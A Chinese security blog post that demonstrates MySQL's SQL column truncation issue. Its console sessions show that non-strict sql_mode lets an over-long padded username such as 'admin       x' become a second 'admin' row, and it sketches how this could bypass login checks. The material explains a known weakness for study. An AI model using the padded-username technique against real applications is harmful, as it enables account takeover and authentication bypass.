关于MySQL的SQL Column Truncation Vulnerabilities 's

admin 2017年4月24日02:39:37评论290 views字数 2704阅读9分0秒阅读模式
摘要

作者:axisStefan Esser今天写了篇很棒的文章,提到了关于MySQL里的两个缺陷http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities

作者:axis

Stefan Esser今天写了篇很棒的文章,提到了关于MySQL里的两个缺陷

http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities

1. max_packet_size 的问题

2. SQL Column Truncation 攻击

我测试了第二个。

按照paper里描述的,当mysql的 sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示 warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。

这个问题属于mysql的一个功能,在官方文档中也有所描述,然后我们最喜欢的就是这些功能,不是吗?

测试过程如下(MySQL 5):
首先是开启了strict选项:
sql-mode=STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”

结果如下:
mysql> create table `truncated_test` (
-> `id` int(11) NOT NULL auto_increment,
-> `username` varchar(10) default NULL,
-> `password` varchar(10) default NULL,
-> PRIMARY KEY (`id`)
-> )DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.08 sec)

mysql> select * from truncated_test;
Empty set (0.00 sec)

mysql> show columns from truncated_test;
+———-+————-+——+—–+———+—————-+
| Field    | Type        | Null | Key | Default | Extra          |
+———-+————-+——+—–+———+—————-+
| id       | int(11)     | NO   | PRI | NULL    | auto_increment |
| username | varchar(10) | YES |     | NULL    |                |
| password | varchar(10) | YES |     | NULL    |                |
+———-+————-+——+—–+———+—————-+
3 rows in set (0.00 sec)

mysql> insert into truncated_test(`username`,`password`) values(“admin”,”pass”);

Query OK, 1 row affected (0.03 sec)

mysql> select * from truncated_test;
+—-+———-+———-+
| id | username | password |
+—-+———-+———-+
| 1 | admin    | pass     |
+—-+———-+———-+
1 row in set (0.00 sec)

mysql> insert into truncated_test(`username`,`password`) values(“admin       x”,
“new_pass”);
ERROR 1406 (22001): Data too long for column ‘username’ at row 1
mysql> select * from truncated_test;
+—-+———-+———-+
| id | username | password |
+—-+———-+———-+
| 1 | admin    | pass     |
+—-+———-+———-+
1 row in set (0.00 sec)

然后是关闭了strict选项
sql-mode=“NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”

mysql> select * from truncated_test;
+—-+———-+———-+
| id | username | password |
+—-+———-+———-+
| 1 | admin    | pass     |
+—-+———-+———-+
1 row in set (0.00 sec)

mysql> insert into truncated_test(`username`,`password`) values(“admin       x”,

-> “new_pass”);
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> select * from truncated_test;
+—-+————+———-+
| id | username   | password |
+—-+————+———-+
| 1 | admin      | pass     |
| 2 | admin      | new_pass |
+—-+————+———-+
2 rows in set (0.00 sec)

mysql>

可见插入成功。出现了两个admin的记录。

那么设想类似如下语句

$userdata = null;
if (isPasswordCorrect($username, $password)) {
$userdata = getUserDataByLogin($username);

}

两次查询的先后问题,可能就会导致一次bypass漏洞。

当然在真实环境里没这么简单,可能在应用层面上还会有一些长度检查,往往会使这种攻击失败。但这种攻击可以实施的地方也不仅仅是登录处,还有更广泛的应用空间。

补充一下,刚才有朋友提出关于空格的问题,mysql会自动处理掉空格
mysql> select * from truncated_test where username=”admin “;
+—-+————+———-+
| id | username | password |
+—-+————+———-+
| 1 | admin | pass |
| 2 | admin | new_pass |
+—-+————+———-+
2 rows in set (0.00 sec)

mysql> select * from truncated_test where username=”admin”;
+—-+————+———-+
| id | username | password |
+—-+————+———-+
| 1 | admin | pass |
| 2 | admin | new_pass |
+—-+————+———-+
2 rows in set (0.00 sec)

mysql>

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月24日02:39:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于MySQL的SQL Column Truncation Vulnerabilities 'shttps://cn-sec.com/archives/45523.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息